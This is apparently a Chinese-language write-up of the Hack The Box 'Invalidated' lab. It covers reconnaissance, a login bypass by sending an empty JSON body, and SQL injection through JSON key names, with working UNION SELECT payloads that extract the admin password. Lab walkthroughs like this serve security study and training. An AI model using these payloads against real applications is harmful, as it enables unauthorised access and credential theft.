信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Invalidated]
└─# nmap -sC -sV $(cat ip.txt)
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-30 23:26 AEST
Nmap scan report for invalidated.htb (10.129.233.58)
Host is up (0.015s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Sign up
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.09 seconds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Invalidated]
└─# dirsearch -u "http://invalidated.htb" -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 220545

Output File: /home/h4m5t/Desktop/HTB/Invalidated/reports/http_invalidated.htb/_24-09-30_23-27-25.txt

Target: http://invalidated.htb/

[23:27:25] Starting:
[23:27:25] 404 - 539B - /images
[23:27:26] 302 - 0B - /profile -> http://invalidated.htb/index.php/signin
[23:27:27] 404 - 536B - /css
[23:27:28] 404 - 535B - /js
[23:27:28] 200 - 1KB - /signin

Sql注入

使用Wappalyzer发现,网站使用的web框架是codeigniter。

此次渗透测试过程中,成功通过 SQL注入 获取了 admin 用户的密码,并通过空的 JSON 请求绕过了登录验证,获得了 user_flag。以下是整个攻击的详细步骤:


1. 通过空 JSON 绕过登录并获取 user_flag

根据目标应用的提示,发送一个空的 {} JSON 请求可以绕过登录验证,并直接返回数据库中的第一个用户。在此情况下,返回的用户是管理员 admin。通过此操作成功获取了管理员用户的详细信息,并提取了 user_flag

操作步骤

  1. 向登录接口 /SigninController/loginAuth 发送空的 JSON 请求。
  2. 服务器返回包含管理员 admin 用户信息的响应,其中包括 user_flag

示例请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /SigninController/loginAuth HTTP/1.1
Host: invalidated.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 46
Origin: http://invalidated.htb
Connection: keep-alive
Referer: http://invalidated.htb/signin
Cookie: ci_session=dh0vs6sesgpvcuo8maj3mq9b89d2rfhp

{}

user_flag

通过这个请求,成功提取了 user_flag


2. 识别 SQL 注入点

在获取 user_flag 之后,继续对登录接口进行测试,发现应用程序对 JSON 键名部分 没有进行适当的转义处理,存在 SQL 注入漏洞。通过构造 SQL 注入语句并将其放在 JSON 键名部分,成功绕过了应用的验证逻辑,确认了注入点。

初步测试的 SQL 注入 Payload

1
2
3
4
{
"username": "admin",
"\" or 1=1 -- -": "dummy_value"
}

这段注入语句利用了经典的 OR 1=1 条件,使查询始终为真,绕过了应用程序的验证逻辑,验证了注入漏洞的存在。


3. 目标:提取 admin@invalidated.htb 用户的密码

通过进一步的分析,确定了需要从数据库中提取与 admin@invalidated.htb 关联的密码。假设数据库表中有 emailpassword 字段,构造了 UNION SELECT 注入语句,尝试从用户表中提取该用户的密码。

构造的 SQL 注入 Payload

1
2
3
4
{
"email": "admin@invalidated.htb",
"\" UNION SELECT 1, password FROM users WHERE email='admin@invalidated.htb' -- -": "dummy_value"
}

解释

  • 该注入语句通过 UNION SELECT 连接查询,尝试从 users 表中提取与 admin@invalidated.htb 关联的 password
  • 使用 email='admin@invalidated.htb' 作为查询条件,定位目标用户。

4. 解决列数不匹配问题

在初步构造的注入中,由于列数不匹配,SQL查询报错:The used SELECT statements have a different number of columns。为了解决这一问题,使用 NULL 作为占位符,使 UNION SELECT 查询的列数与原始查询匹配。

最终成功的 SQL 注入 Payload

1
2
3
4
{
"email": "admin@invalidated.htb",
"\" UNION SELECT NULL, password, NULL, NULL, NULL FROM users WHERE email='admin@invalidated.htb' -- -": "dummy_value"
}

解释

  • UNION SELECT 查询中使用 NULL 作为占位符,确保查询的列数与原始查询的列数一致。
  • 查询成功后,返回了 admin@invalidated.htb 用户的密码。

5. 获取 admin 用户的密码并提交为 flag

通过上述有效的 UNION SELECT 注入语句,成功从数据库中提取了 admin@invalidated.htb 用户的密码。提取的密码作为最终的 flag 进行提交,完成了此次 SQL 注入的全部目标。

root_flag


总结

此次渗透测试展示了在不当输入过滤和验证情况下,如何利用 JSON 请求中的 键名部分 进行 SQL 注入攻击。具体流程如下:

  1. 通过发送空的 JSON 请求绕过登录验证,并获取 user_flag
  2. 识别 SQL 注入点后,构造初步的注入语句绕过验证逻辑。
  3. 构造 UNION SELECT 语句,从数据库中提取 admin@invalidated.htb 的密码。
  4. 通过使用 NULL 占位符解决列数不匹配问题,成功提取了管理员用户的密码。
  5. 最终,密码作为 flag 提交,完成此次测试。